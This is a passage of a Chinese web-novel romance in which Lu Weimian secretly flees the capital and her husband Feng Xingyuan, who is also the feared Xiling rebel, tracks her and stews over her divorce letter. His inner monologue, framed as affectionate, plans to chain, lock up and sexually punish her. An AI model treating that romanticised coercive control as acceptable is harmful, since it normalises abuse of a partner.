凌双顿了一下,隐约觉得这话有点奇怪。 但还是点头表示他知道了,接着离开了院子。 鹿微眠看凌双走了,连忙拉上钧宜,“收拾东西,等入夜咱们就启程。” 钧宜听着她的吩咐,回去取包裹。 鹿微眠深吸了几口气。 她今晚一定要走了。 不能再拖了。 只求今天不会再出什么岔子。 鹿微眠轻轻攥了下手里的帕子。 她看着日头一点一点下移,天光拉出昏黄的光晕,漫天晚霞过后又沉入黑暗。 天光每每熄灭一寸,鹿微眠就紧张一分。 她偶尔会看向院子门口,确认会不会有人回来。 大概是实在太紧张了。 鹿微眠先进了房间关上门,早早就告诉院子里其他人她睡下了。 她将那封早就准备好的信件从橱柜里翻了出来。 板板正正地铺平,正要摆在了桌子上。 屋外忽然传来暮云一句,“您回来了。” 鹿微眠心尖陡然悬起,手上信件都攥出了褶皱。 不知怎么的,她忽然想到昨晚,封行渊说要把她藏起来。 要是被碰上,兴许他一生气真的会被抓住她藏起来。 接着屋外响起孙嬷嬷的声音,“是啊,我采买回来了。” 鹿微眠蓦的松了一口气,将信件放下,拿砚台压住。 孙嬷嬷问,“姑娘这是睡了?” “是啊。” 鹿微眠深吸一口气,悄无声息地听着她们闲聊完回去。 安静地等了一会。 等时辰到的过程,她只能听到自己砰砰乱跳的心脏声。 几乎是时辰一到,鹿微眠就立马起身,走到屋子后面打开了后窗。 她搬了个小板凳,踩上去顺着不高的窗户跳了下去。 鹿微眠转身轻轻关上窗户,拍了拍手上的灰尘,悄无声息地离开。 暮云接应她,掩护着周围的眼线,送鹿微眠走到了后门。 钧宜在那里等着。 慕景怀遣送过来的马车见他们出来,也从巷子的角落里走了出来。 后街的巷子里寂静得只能听见马蹄踩踏地面的声响,没一下都像是踩在了他们敏感的神经上。 鹿微眠小声叮嘱着暮云,“等明日就说我病了,一直在房内不能出来,除了你们几个亲近的可以来往近身,其他人都避免接触。” 毕竟她离开的事情不能公之于众,否则也就失去了走的意义。 她能信得过的人不多。 但是三四个就足够了。 “夫人放心吧。”暮云凝眉,“家里的事情我会安排好的。” 马车停在他们身后,鹿微眠的心绪才有了着落。 前来送行的马夫下车,拿出来了慕景怀的令牌示意。 鹿微眠也不过多停留,转身上车。 “夫人!”暮云急急地叫了她一声。 鹿微眠回头看她。 暮云动了动唇角,才道,“我等夫人回来。” 鹿微眠朝她摆手,先进了马车。 钧宜也跟着上了车。 马夫跟门口暮云点头示意,这才催动马车。 暮云看着那一辆深蓝色马车悄无声息地隐没在长街小巷里,直至连影子都完全消失才收回视线。 明明只有夫人和钧宜走了。 可是这院子里像是突然间空了。 深夜宫城里,封行渊休息间隙倚靠在座椅上,手指有一搭没一搭地轻点座椅扶手。 公务闲暇时,他的思绪往往是被自己的小夫人牵着跑的。 不由得想起了昨日。 封行渊对自己的表现非常满意。 昨日用了醉梦还能控制住自己没做很坏的事。 若是现在就做太过,把人吓跑就不好了。 为了他们日后,忍一时就忍一时。 看她还怎么嫌自己凶。 这样的话,等来日解决掉祸患,守好长安城,他跟她说明自己的身份,让她知道自己也没那么坏。 她肯定不会想要走了。 第59章 欺负 封行渊正想着。 屋外传来一声高扬的, “陛下驾到!” 封行渊抬眼,能看见昏暗屋外,金色轿撵停在门口。 屋内正当值的朝官闻声纷纷起身相迎。 皇帝进门, 抬手示意,不必行礼。 周围的朝官都很会看眼色地后退些许,给皇帝让出来一条路。 皇帝背着手, 面目严肃, 径直朝着封行渊的方向走了过去。 他问着, “怎么样了?” 封行渊将面前的图纸轻松调转了一个方向,摆在了皇帝面前, “陛下不想按照从前预定的南巡路线走, 这里倒是有几个其他的选择。” 皇帝伸手接了过来,看着上面的标红点位。 封行渊又补充一句, “只不过,臣等需要留京值守,对于南巡路线并不好直接把控, 还需得陛下您自己把控。” 皇帝哑声道,“无妨。” 一旁卫沉忍不住问道,“南巡路线,自先祖时期便没有再变过, 陛下为何突然想要改换?” 皇帝没有直说原因,“就是因为没变过, 如今才要变一变。” 封行渊听他们这些人说话都有一个特点,就是说了跟没说没什么区别。 他有点懒得理会。 只等着交差回家看夫人。 皇帝一面看着, 一面问, “如今这线路,有多少人知道?” 卫沉回着, “只有我们几个知道。” 皇帝点头,“那就不要再让更多人知道了。” 卫沉迟疑着,“不需要写在行程上吗?” “不需要。” 卫沉抬头看了看封行渊,封行渊只倚靠在旁边,与卫沉简单对视过后,没有说什么。 皇帝仔细查验了一番他们新定下来的路线图纸,“大概方向可以,有劳爱卿。” 封行渊听着可以,眉眼微动,刚以为能回家而有所动作,皇帝再度出声,“但除了这个线路之外,朕还有一件事,要交给你们。” 卫沉正要习惯性地回“陛下尽管吩咐”。 嘴巴却死活都张不开。 他看向封行渊,才发现封行渊一脸不耐烦。 但皇帝不受影响,直接面朝封行渊,“这件事比较重要,朕单独跟你说。” 封行渊眼见躲不掉,只能接过话来。 皇帝示意周围的人退开。 这屋内一时间,很快就只剩下了他们两人。 屋内片刻的寂静之后,皇帝才沉声开口,“朕要你准备临安布防图。” 临安是南巡最后一座城池。 封行渊看着皇帝的架势,一时间觉得新奇,“陛下就这么相信臣能做好。” 他的兵甲都在边关等着进来,让他布防,皇帝也敢。 皇帝接过话来,“朕相信你。” 听来有趣。 封行渊接下了这个差事,直到皇帝深夜离开,他才得空休息。 皇宫的深夜格外孤冷素净。 封行渊对这里很熟悉,毕竟住过很久。 他很不喜欢皇宫。 浓稠夜色像是一望无际的深渊,将所有人都禁锢在这里。 封行渊坐在没有点灯的屋内,只有看着手里那个已经成型的簪子,心情才好上些许。 朦胧夜色之下,莹莹月色落在他手上将那一株百蝶缠枝钗映照得无比透亮。 玫瑰石流光四溢,落入他眼底。 这是他给鹿微眠准备的生辰礼物。 要等她生辰那日给她。 很快了。 还有两天。 她应该会很喜欢。 封行渊看着簪子,不由想着她带上这个簪子的样子。 想必很漂亮。 他有些担心自己会不会忍不住,在她生辰之前就拿去给她。 但那样会没有惊喜。 封行渊想,他还是得忍一忍。 他乖乖将发簪放在旁边,重新拿过桌上的布防图。 只是说起来……凌双回去给她送信,怎么现在还没回来。 他夫人应该有些关切的话,或者差凌双给他带些糕点什么的。 许是准备糕点耽搁了时辰。 封行渊如是安慰自己,他若是尽快做完差事,就能回家了。 天刚蒙蒙亮,封行渊闭目小憩,连梦里都是南巡。 只不过梦里的南巡跟他没有太多关系,梦里的一切也都跟现在不太一样。 新年开春,万物复苏,皇宫朝堂有条不紊地安排着南巡以及布防的事情,相关的差事都没有落在他头上。 这让他很开心。 因为他没去,所以慕青辞也请旨留京。 大概是慕青辞不放心他跟鹿微眠留在京城,想借机盯着他弄死他。 封行渊有的时候会同情慕青辞。 费尽心机,却只是帝王家卖弄的一颗棋子。 连婚事都也是逼他的棋局。 但很快,南巡启程后大坝垮塌,洪水沉城。 前去南巡的皆是朝堂重臣,和朝廷心腹,连帝王都葬身洪水。 举国震动。 不止长安城动荡不安,边关蠢蠢欲动。 封行渊接到去关外调兵的调令。 他本来不急,因为蠢蠢欲动的,本身就是他的兵甲。 但鹿微眠催着他启程,帮他准备了衣衫、车马、粮草,还有药草清单。 他问她为什么要忙这些。 她仿佛心事很重,“夫妻一场,我能帮你的不多,只能做这些。此后天高路远,你万事小心。” 她也准备了一纸和离书,“若是你想和离,我也可以。” 他在梦里隐约有答案,知道她想和离是因为谁。 但他萌生出来很自私的想法,既然婚事都给他了,没有还回去的道理。 反正慕青辞是迟早都要被皇家抛弃的。 那为什么不能一直都是他。 封行渊想,或许他们也可以很好的开始。 在慕青辞被皇家抛弃,在她得知慕青辞的真面目之后。 很快。 等他回来。 他将自己以血制成的药全部留给她,“和离之事,等我回来再说。” 鹿微眠当时沉默了很久,也没说别的,只给他塞了一盒玉露团,“赶路许顾不上用膳,记得路上吃。” 鹿微眠告诉他,“不用担心我,我没事的。” 再后来就是路上,他被慕青辞围剿。 因制药缺血占了下风。 在足以将他吞噬的大火中,听着慕青辞说,他被她弃了。 封行渊将所有的事情联系起来,以为自己第一次交付的信任,被她踩进泥沼。 以为她那些话以及和离书,都只是与旁人合谋杀他而生的告别。 封行渊睁开眼睛,看见天边翻出鱼肚白。 零星光点在月白天色上轻闪。 他不知道为什么自己会又梦到这些。 只是恍惚中觉得很是不安。 封行渊剑眉紧蹙。 这次梦里看见的比以往都要多,大概是她所说的前世。 到底听她提起过,他此番比上一次梦到要冷静很多。 除此之外,他意识到了另外一件事。 前世他与她来往不多。 以至于他当时并不知道,江南大坝是她父亲主理修缮的。 当时的情形,其实是司空府大厦将倾。 她催促他赶紧走,说那些话,准备那些东西,以及要他签和离书。 根本不是因为慕青辞。 是因为她已经有所预料,此番大难,他们家马上就要祸到临头。 她不想连累他。 他中间不知道的那一段日子里,应当是她说的,他们家被满门抄斩。 封行渊觉得头很重,回过神来的时候,手里拿着那枚要送给她的簪子。 还好。 这一次不会了。 封行渊想着,将发簪放在盒子里装好。 天光一点点拉开,宫廷大内来往的人越来越多。 有宫人晨起过来清扫,“封大人这么早啊。” 宫人身后跟着凌双,凌双上前,将鹿微眠交给他的盒子摆在了封行渊面前,抱歉道,“本来昨晚就应该送过来的,但是关外突然来了消息,我去处理回来宫中就宵禁进不来了。” “什么消息。” “有人以西陵玉印,调兵入关,直指京城。” 封行渊闻言心下有数,“我知道了。” 他注意力只在那个盒子上,朝凌双伸手,“这是她给的?” 凌双心领神会地将盒子递了上去,“是。” 封行渊方才心下的沉郁一扫而空。 他就说,他夫人得给他带点什么吃的。 封行渊打开盒子,“她有给我带什么话吗?” 凌双交代起来鹿微眠说的话,“夫人给您备的玉露团,说宫中办差许顾不上用膳。” “让您好好办差,不用担心她,她没事的。” 封行渊打开食盒的动作陡然一滞! 熟悉的话语骤然从脑海中浮现,与凌双带来的话相重合! “赶路许顾不上用膳,记得路上吃,不用担心我,我没事的。” 封行渊手指轻轻蜷曲了一下,四周一瞬间的静谧后,升起一阵诡异的耳鸣。 将梦中话与凌双的转述杂糅在一起。 耳鸣声尖锐,直冲脑海。 封行渊锐利黑瞳缓慢缩紧,盯着面前清润透亮的玉露团,“她现在在哪?” “夫人?”凌双不解,“夫人现在在家啊。” 封行渊一下子起身! 门口宫人正清扫着殿前的路,忽而察觉到了一股凌厉冷风从身边刮过。 将地面上的枯草都吹得轻轻震动。 宫人一回头看见封行渊从他身边走过,他赶忙问着,“大人这是要去哪啊?” 封行渊仿佛没有听见。 “陛下吩咐,您先办完差再走啊……” “诶!封大人!” 宫人想追封行渊,追了两步发现压根追不上。 府苑内大门被破开! “哐当”一声! 将院子里值守的家丁都吓了一跳。 他们原以为是什么匪兵闯进来闹事,结果定睛一看是自己家姑爷。 封行渊大步流星地直接往内院走。 气势汹汹,裹挟着不寒而栗的压迫感! 家丁想打招呼,话到嘴边硬生生咽了下去。 在他们印象中,他以往一到家门口就跟披上羊皮的羊羔一样,鲜少这样地出现在府苑里。 内院暮云看见封行渊进来,还以为自己看错了。 暮雨离得近了些,先“咦”了一声,“姑爷不是十五才回……” 封行渊压根没听她说什么,直接打断她,“夫人呢?” 暮雨还不知道鹿微眠走了,按照鹿微眠往常的习惯解释着,“夫人晨起得午时,这个时辰还没起呢。” 封行渊看着紧闭的大门,被面具遮住的异瞳深处暗火蔓延,径直上前。 暮云赶忙想要拦住,“姑爷,夫人还睡着,怕是这样进去会吵到她。” “您有什么话,与奴婢说,等夫人醒了再……”暮云发现根本拦不住之后,只能眼看着封行渊进门,心惊胆战地先站在了门口。 封行渊一路进了内室。 打开内室门,里面空无一人,床铺都是板板正正地叠好。 大概是一晚上都没有人,暖炉炭火没有添新炭,屋里格外的冷。 她身上的茉莉甜香这会儿一丝也没有闻到,不知道人已经走了多久了。 整个屋子里,只有桌上放着一封信,被砚台压着。 直到这时,前几日鹿微眠那些奇怪的话尽数聚集在他的思绪之中,通通有了答案。 “我不去哪啊,我就在长安,就在咱们家。” “今年生辰,我只想和你在一起。” “这就算哄你吗,那你也太好哄了。” 封行渊胸口缓慢而沉重地起伏着,他将信封拆开。 里面是厚厚的一沓书信。 开篇,“见字如面。” 她将自己决定暂时离开的前因后果尽数交代了清楚。 没有说去哪,只说她出去躲躲,等事情平息,她就回来了。 后面是给他的叮嘱,告诉他此事凶险,让他万事小心。 也留了一份药材清单,让他保重身体。 她想得很周全,说要是他觉得无聊,正好到了春天,她留了一个蝴蝶风筝给他玩。 信件最后,她说虽然她希望这所有的事情都能平安度过。 但还是不得不考虑不平安的情况。 她叫他千万要小心那个来自西陵的反贼。 骂得也很不留情面,“那个人暴戾恣睢、心狠手辣、无恶不作、卑鄙无耻,他在京中一定有许多帮手,里应外合,切勿轻敌。” “若是实在与他对抗不了,败局将定,切记保全自身要紧。” 她说她司空府与他无多惠益,没必要为了他们拼上性命,实在不行可以弃城离开。 她只要他安全就好。 然后她给他保全自身的方式,与前世一样。 给了他一纸和离书,撇清关系,倘若日后反贼称帝,顺着朝廷关系追缴。 大多数人都是有家有口的在长安,逃不脱追查。 但他无亲无故,只是和她成了个婚,只要他跑的够远,长安没有牵挂,就追不到他。 说什么留得青山在,不怕没柴烧。 封行渊气极反笑。 满篇言辞看下来,对他而言的重点就在于。 她骗了他,她走了。 她不要他了。 还留了和离书。 她竟然还想过和离。 她怎么能想过和离呢。 那她是不是都想过,日后跟他分开,再无关系。 封行渊眼尾笑意不达眼底,浑身上下都散出来些沉郁冷肃气息,抬手一挥,那一纸和离书飘摇落进了炭火炉。 在他猩红异瞳之中,越烧越旺。 怕* 什么反贼。 那反贼就是他。 封行渊曾经一直以为,既然她怕他凶,那他只要在她身边乖乖的。 万事顺着她来,把自己变成她喜欢的样子,她就不会走。 夫人这般……看来是欺负他太乖,太好说话了。 所以总觉得能轻而易举地哄好他。 说走就走,还敢留和离书。 还不如让她怕他。 像梦里一样,做到下不了床,给她挂上链子! 关起来! 狠狠教训一番! 吃不下也得吃下去。 让她跑的时候,一想到他就腿软。 让她怎么也跑不掉! 封行渊语调阴森,幽然叫了一声,“墨宝。” 墨宝跑进屋,正要上前,察觉到了一丝怪异的气氛,不由得往一旁凳子底下躲了躲,耳朵拉平朝后,是完全小心的姿态。 刚躲了一下,身体就不受控制地往前走,直至男人面前。 它乌黑的身子被封行渊高大阴影遮盖,只露出一双黑亮亮的大眼睛和脖子上挂着的白玉手钏。 小心翼翼地看着他。 封行渊将信纸递了过去,蹲下身摸了摸它的脑袋。 血色异瞳噙着微光,“带我去找她。” 墨宝一声也不敢吭,嗅了嗅信纸上的味道。 偷偷观察着主人的情绪,乖乖地咬下来信纸一角,转身跑出了房间。 长安城中提督府苑周围,不知道哪里钻出来一群流浪小猫。 围着墨宝闻了闻那张信纸,便四下开始搜寻。 周围的花花草草都没有被它们放过。 一路往京郊找了过去。 封行渊走到门口,暮云“噗通”一声跪了下来,“姑爷恕罪!” 封行渊悠然地看她,“夫人睡着,她现在在哪张床上睡着呢?” 封行渊的语气没有明显的愠怒,反倒是更加令人害怕。 暮云头也不敢抬,原本想着姑爷脾气好,可这会儿,他并没有骂她也没有罚她,自己却一句完整的话都说不出来,只得叩首,“姑爷恕罪。” 封行渊盯着她,指环上锋利的利刃忽隐忽现。 最后忽而冷笑一声,“罢了。” “夫人主意这般大,动你没意义。” 夫人还是得亲自收拾。 * 京郊驿站,四处都是开春经商来往的商贩。 这个时节驿站里都是人来人往,喧嚣不止,很是热闹。 鹿微眠住在驿站最里面的房间,听说这个驿站跟慕景怀也有一点点关系。 所以藏在这里一时半刻没什么问题。 她很少做偷偷摸摸的事情,昨晚跑出来就没能睡着。 睁眼到天亮。 晌午时分倒是有些困了。 鹿微眠坐在窗口能看见京郊外漫山遍野的山花和青绿色抽芽的草木,疲倦地打了个哈欠。 鹿微眠拨弄着吹到窗口的一片柳叶。 这个时辰,封行渊应该还在皇宫里。 等他回家,最早也得明日了。 明日她估摸着已经走了很远了。 钧宜见她还没有休息,“夫人要不要先睡一会儿,那个车夫今早送下咱们就回皇宫送信去了,眼下回来的时间还早。” 鹿微眠有些乏累,放下了手中的柳叶,“休息一会儿也行。” 她起身,正要往内室走,屋外紧接着响起敲门声。 是三长三短的敲法。 钧宜没有回应,而是警惕地起身上前。 门外又是三长三短的敲门声。 钧宜这才开门。 是昨日送他们过来的车夫,“三殿下听闻你们办妥了,提前把人送出来了。” “咱们还是早日启程好一些,免得夜长梦多。” “二位觉得如何?” 鹿微眠闻言也跟着起身,“那自然是好的。” 车夫点头。 他手里拿着掌柜给的钥匙,走到房间里侧,推开了里侧的一个橱柜。 墙壁上赫然出现了一道暗门。 而此时,京郊客栈楼下跑来几只小猫。 客栈掌柜念叨着,“这果然是开春了,山野里的流浪猫越来越多了。” 他拿出一个碗,里面撒好吃食,“来来来,喵喵喵。” 路过小猫被拐走几个,另外几个钻不进去,才想起来忙正事。 掌柜正喂着猫,听见外面传来喧嚣声。 接着看到一个身着朝服相貌清俊、气度温润的男人从外面走进来。 也不知是不是那一身朝服,还是因为他身上带刀,所以进门后是扑面而来的威压气息。 见者皆噤声。 掌柜连忙放下手里的瓷碗,上前相迎,“官爷前来,可是朝廷……” 封行渊只是出来没来得及换朝服,平静道,“来找我夫人。” 封行渊没多说别的,直接顺着几个小猫探寻的方向上了楼。 掌柜见状忙跟在后面,“诶!官爷……” 封行渊上楼看见墨宝挠着顶层阁楼的一个房间门。 房门没有上锁,一推就开。 他从空气中闻到了一丝熟悉的茉莉香。 窗口一片柳叶随着房门打开而被带动落入屋内。 房间里还残留着暖意。 封行渊走上前,摸了一下桌上的茶盏。 茶水是温的。 想必刚走没有多久。 墨宝和几只小猫在屋子里绕圈圈,最终停在了一个橱柜后面,几个小爪子一同扒拉着什么。 顺着橱柜找到了那扇刚刚才被人打开过的暗门。 第60章 称王 暗门通道, 直接通往城郊荒山外停放的马车。 石门被推开,随后重重地落地,掀起一片灰尘。 等鹿微眠和钧宜出来之后, 车夫又将石门推回原位,草木遮盖,掩藏成原来的样子。 这一片向南, 日光极好, 草木的长势也比寻常地方好上许多。 树林阴翳, 人迹罕至,那辆从宫中接应出来的马车就停在林深之处。 头顶日光从树梢枝叶之间筛落, 打出层层光晕。 周围横生出来的枝丫藤蔓也很容易挡住视线。 是离开的绝佳掩藏之地。 看得出来, 应当是慕景怀仔细挑选过的地方。 鹿微眠上车便看见了慕景怀口中的春莺。 春莺小小一个,板板正正地坐在马车里等她。 她身上穿着毛茸茸的嫩绿色斗篷, 将大半个身子都笼罩住。 但在衣裙掀动之间,还是能看见她隆起的小腹。 鹿微眠一时惊讶。 她虽然知道慕景怀与春莺的关系,但是没想到, 春莺是怀着身孕的。 想来也是,这种情况,也就是因为怀有身孕,慕景怀才这般着急想要把她送出来。 鹿微眠简单地与春莺打了声招呼, 接着发现春莺不能说话。 还好从前,青荷养在他们家, 鹿微眠跟着学了不少手势交流的方式。 春莺看她困得眼睛发红,告诉她, 路上还早, 现在可以睡一会儿。 鹿微眠有点不好意思刚见面就睡觉,连忙说着, “没关系的,我不困。” 一刻钟后,马车渐渐平稳。 春莺刚想跟鹿微眠聊点什么,转头一看,发现鹿微眠靠在里侧睡着了。 马车内部一张小床,睡两个女孩子完全足够,鹿微眠把自己缩在角落里,给春莺空出来了位置。 看得出来她是很困了,但春莺这会儿睡不着。 她将旁边准备好的被褥拉开,简单地搭在鹿微眠身上,而后坐好看着马车渐渐远离京城,趴在窗口在想慕景怀什么时候能来找她们。 不出一刻钟,刚刚被合上的石门再一次被人推开。 封行渊出现在那片山林入口。 浓重的山林草木气息将气味渐渐模糊覆盖。 原本能闻到气味追赶过来的小猫数量便不多,这会儿更少了一些。 时至春日,山林里的动物也时常出来觅食,气味混乱,墨宝在山脚下转了几圈,始终判断不出来具体的方位。 封行渊站在山林里安静地等着。 忽然在一处草木间,看到了车辙的痕迹。 他走上前,拨开藤蔓枝丫…… 身后凌双急匆匆地赶来,“主子,兵马已经全部入关了,如果再不阻拦,他们就要进京埋伏了。” 封行渊拨开藤蔓的动作停滞在半空中。 这个命令不是他下的,八成是虞念调的。 她不想给他退路。 但若是按照她的意图,真打进长安,是想把长安也变成寸草不生的不毛之地。 那可不行。 长安还有夫人种的花。 封行渊站在原地迟疑良久。 似是在斟酌判断着什么,忽而长长地叹了一口气,放下手,折返回去,“知道了。” 他现在的确走不了。 凌双又道,“族长不知是有什么急事,后日就要进京见您。” 封行渊敷衍地应了一声,积攒的余怒让他很是烦躁。 族长与封行渊约见的地方是已经垮塌的帝台山旁。 山林之上一座小竹屋安静地矗立在林间,不仔细看,全然发现不了。 竹屋四面卷帘,山风拂过满是翠竹声响。 白发苍苍的老者将竹叶入茶饮,沁出满室的竹叶馥郁。 封行渊大步流星地进来,带过一阵山涧清风。 吹得四面竹林沙沙作响。 “你找我。” 老者见他进来,起身相迎,作揖行礼,“殿下。” 封行渊不拘礼数,也懒得拐弯抹角,只随意坐在一旁。 老者见状,也不与他多寒暄,开门见山道,“老夫深居简出,大业在即才赶来长安,助殿下一臂之力。” “老夫已与淑妃娘娘有所联系,得知殿下近况,听闻殿下受而儿女私情牵绊,几番与娘娘反目,实属不该。” 封行渊闲散道,“我与她争执是私怨,与旁人无关。” 老者并不相信,看向一旁帝台山的废墟,“私人恩怨,要把帝台城也毁了吗?” “殿下,情爱是这世上最不堪一击的东西,您心性纯良,恐会遭这长安女子欺骗,眼下自当是正事要紧,切勿贪恋这儿女私情。” “殿下不知,这中原人,都是虚伪善变,礼仪规矩装腔作势,干得尽是些阴损肮脏的事情。” “不如我西陵人纯粹良善,才该是殿下的良配。” “一切等事成之后,我们自会有族中最好的姑娘,与殿下婚配。” 封行渊略过他的话,“那你觉得,如今我的正事该是什么。” 老者气势铿锵,“踏平长安,占领大郾,洗刷我西陵耻辱,才是殿下应该做的。” “但我有一个问题,一直想不明白,”封行渊慢条斯理道,“出征北襄时,你们也是这样与我说。所以我连年出战。” “第一座城池,主帅气焰嚣张,主动进犯但不出半月就落于下风。” “他谎称郡守叛变,杀了郡守,卷走了城中所有的金银财宝逃离。” “等我进城时,城中百姓全部逃去了襄陵避难。” “第二座城池就是襄陵。我打过去的时候,郡守与我做了个交易。” “他与我约法三章,只要我同意,便可主动归降。” “一不伤城中百姓,二不动城中粮草,三不毁城中屋舍。” 封行渊的行事逻辑向来直来直往,“我本也无意动百姓,他们又没有与我有过节,拿无辜弱者泄愤是无能者所为。” “但要说他完全归降,我并不信,只等他漏出马脚,可是他说的是真的。” “我们在城中休养时,有百姓见我们守约,便前来送东西。他们告诉我,襄陵腹地有黑水矿,战乱已有二十余年,最开始是属于大月氏,北襄打进来后,就是经久不息的战事。” “他们说,战火连年争夺腹地矿产,输赢早就不重要,他们只想活着。” “出战是为了让家人活着,归降是不愿为上位者谋私利,能好好过活。” “所以对于民间来说,战事是为了活人打的,是为了更好的生活。” “而你们教给我的,战事是给死人打的。”封行渊看着他,“你们口口声声给了我许多使命,但我一直不明白,我的使命到底是为了更多人好好生活。” “还是让更多人去死。” 老者愣了一会儿,沉吟良久,“殿下还年轻,许多事情不是这般简单的。” 封行渊不懂,“你刚才不是还说,我西陵人最是纯粹良善,怎么又不简单了。” “那我族亡灵,谁可慰?” “失地收复,罪人伏法,生者慰亡灵。” 夫人说过的,这个世界讲律法。 有的人该死,有的人不该死。 比如她父亲。 老者凝眉站起身,“殿下莫不是想,就此停手?” “这是万万不……” “嘘。”封行渊眉梢微扬,打断了他的话,“当然不,你看你身后。” 老者愣了愣,转身看向身后。 迎头被几个五大三粗的男人套上麻袋,绑上绳索。 封行渊优哉游哉地起身,眼底噙着似有若无的乖戾笑意,“哪有停手,这不是在动手了么。” 老者被绑在麻袋里,挣扎着,口中嘟囔着,“成何体统!成何体统!” 封行渊轻轻拍了拍麻袋,“老头,废话少说。我自有安排。” 他说完离开了竹屋。 封行渊回到府苑。 府苑内下人来往一如往常,但此时见到他皆是心惊胆战地行礼。 他们总觉得这几日,姑爷身上带着一股沉郁幽冷的寒戾气息,与往日里大相径庭。 一副看见路边的狗都想踹两脚的样子。 午膳是他很早就定了的东昌楼菜肴,定的时候,她还没走。 里面有鹿微眠喜欢吃的玉露团和鸭花汤饼。 凌一小心翼翼地问,“午膳到了,您要吃吗?” “摆出来吧。”封行渊说,“万一她今天回来呢。” 今天是她的生辰。 凌一觉得鹿微眠不可能回来,但当下也不敢跟封行渊说。 只按照他的要求,把东西摆出来。 封行渊没什么胃口,只撑着额角,把玩那枚蝴蝶簪子,原本是想送给她当做生辰礼物的。 封行渊浓密的眼睫遮住眼底阴霾,簪子在掌心划过,刺出一道血痕。 若是往常,她推开门看见,一定会跑过来拉住他的手,问他,“疼不疼啊?” 封行渊出神片刻。 看门前空空荡荡,血迹都干涸了,都没有那个蝴蝶一样的影子担忧地跑过来。 她今日要是不回来。 封行渊觉得自己会再生气一点。 他偏执地想,他眼下被簪子划伤,她不关心他、也不心疼他。 还留了和离书,看都没来看一眼。 是她说过,夫妻是不能随便分开,是合乎律例的契约关系,是责任和担当,不能轻易毁约。 也是她自己要偷偷走掉的。 夫人太坏了。 封行渊轻扯唇角,眼底闪过幽暗的光。 她这般欺负他听话,那他欺负回去也理所应当。 也把夫人狠狠地欺负到听话好了。 最好她在外面呆得时间越长,他积攒的气性越大。 等找到她了,再全数从她身上讨回来。 谁让他本来就是睚眦必报的恶人呢。 正好他装得累了,她又放着乖乖夫君不想要呢。 率先毁约的孩子,被恶人惩罚。 这不过分。 说他的坏话都是什么来着…… “暴戾恣睢、心狠手辣、无恶不作,卑鄙无耻。” 嗯。 夫人形容得很准确。 好夫君被抛弃。 坏夫君只是被骂而已。 那他坏一点就坏一点了。 * 洛水沿岸的店面里,鹿微眠一个劲地打喷嚏。 一旁钧宜忙问她,“夫人是不是受凉了?” 鹿微眠摸了摸鼻子,拢起大斗篷,“没有啊。” 她这阵子穿得很多,“许是这几日飞柳絮,吸进鼻子里了。” 店铺里小二端着四碗馄饨上来,“几位请慢用。” 鸡汤馄饨的香气顺着四面而起的春风吹了过来。 闻着倒是饿了。 鹿微眠拿起勺子,看春莺还盯着不远处愣神。 鹿微眠唤了她两声,春莺才回过神来,抱歉地笑了笑。 车夫伍奚替春莺解释着,“我们姑娘是惦记着三殿下。” “三殿下送我们出来时,与我们说了,等南巡启程后,摆脱淑妃娘娘管控,他就会尽快赶来。” “届时,他先与我们汇合,再去临安。” 鹿微眠点了点头,“那我们最后是去哪里等他回来。” “咱们去姑苏等。” 姑苏。 姑苏在临安北边。 她父亲眼下也在临安。 离得不远,大概一两日车程。 要是快马加鞭,兴许不超过半日就到了。 但是他们眼下到姑苏,应该还有个把月的日子。 这一路上走得还算是顺利,看得出来慕景怀应当是早有准备。 鹿微眠这几日与春莺一起住。 正好她怕黑,春莺有孕需要有人照看。 她们也能互相照应。 春莺是个性子很温和的小姑娘,什么事都不急不躁。 哪怕是他们此番逃亡,她也心平气和的。 就是时常会发呆。 空闲时,她会给慕景怀写信。 但是不会寄出去,只是一封一封地攒着。 大概是想要等日后见面给他。 告诉他这路上的奇闻趣事。 春莺圆圆的字迹很可爱。 她告诉鹿微眠是慕景怀教她写的字。 书信里的内容也很可爱。 夹杂着她路上遇见的小花小草,小猫小狗的图画。 偶尔会告伍奚的状,说他什么都不让她吃。 春莺与她说了许多事。 鹿微眠才知道,春莺不能说话是天生的。 大概也是因为她不能说话,才会被选进华阳宫,送到慕景怀身边。 最开始她不识字,与慕景怀交流靠的是眼睛。 后来识字后,是靠书信。 她眼下有什么话要说,需要提前写下来,不然到时候一口气跟慕景怀写,会写不完。 春莺做什么都不急不躁,也是因为写书信表达本来就是需要慢下来的一件事。 鹿微眠帮她研墨,看着她写信,“我一开始还以为慕景怀是个满腹心机的坏人。” 春莺看向她,另一张纸上写着,“我也是。” 春莺继续写道,“后来发现殿下除了会装傻,就是会装得自己很凶。” 鹿微眠:“他不凶吗?” 春莺思考一番,“殿下笨笨的,话也多。” “可能装凶可以掩盖他真傻吧。” 慕景怀平日里就在那一方小院子里,她又不会说话,慕景怀一天到晚无聊,就叽叽喳喳地与她说个不停。 这倒是让鹿微眠没有想到,发现春莺的表情不是在开玩笑,反而很认真的样子。 鹿微眠眨了眨眼睛。 春莺又将纸张推向鹿微眠,问她,“不过听说封大人是真的很凶。” 鹿微眠笑道,“他才不凶呢。” “他挺乖的。”鹿微眠手上的研墨动作慢下来一些。 春莺露出了些新奇的表情。 鹿微眠看着被晕开的墨迹,“我夫君是这个世界上,最好的夫君。” “他很单纯,脾气也很好,不像我从前遇到的其他人。” 慕青辞虽然对她好,但是八百个心眼藏着谁也受不了。 那个西陵反贼就更不用说了。 鹿微眠想,她不在京城。 那个反贼总不会惦记上她,就是希望封行渊小心那个反贼。 那人睚眦必报,折磨人的手段可太多了。 只要得罪了他,被他盯上,怕是逃不了一点。 她已经都告诉封行渊了。 春莺看她发呆,眼底露出了好奇的笑。 转而递给鹿微眠一张纸,示意她要不要给封行渊写信。 鹿微眠看着她递过来的纸张,犹豫了一会儿,还是接了过来。 其实她不知道该写什么,大概是偷跑出来的,写什么都有点心虚。 也或许是临走前已经写了太多话。 如今鹿微眠只是在纸张上漫无目的地描画着他们此行路线,算着日子。 画着画着,她落笔就变成了封行渊的名字。 歪歪斜斜不成行列。 此后每每春莺在写信的时候,鹿微眠会与她借一张纸。 两人用着同一个砚台。 如是这般,日复一日。 每日他们的书画都会收好,然后启程去往下一个地方。 毕竟不能在任何地方留下他们停留过的痕迹。 如是过了半月有余。 他们早已行至淮南,京城南巡算着日子也应当启程了。 慕景怀的脚程很快,在南巡启程后没几天,就快马加鞭在江夏赶上了他们。 阳春三月,正是江夏花季。 繁花似锦与碧水长江相衬,江边和风温润。 将鹿微眠发间丝绦吹开,迎风翻飞。 她与钧宜和伍奚相对而坐,自动忽略了慕景怀与春莺相见时的场面。 三人面面相觑,鹿微眠撑着下巴,在客栈阁楼上看江景。 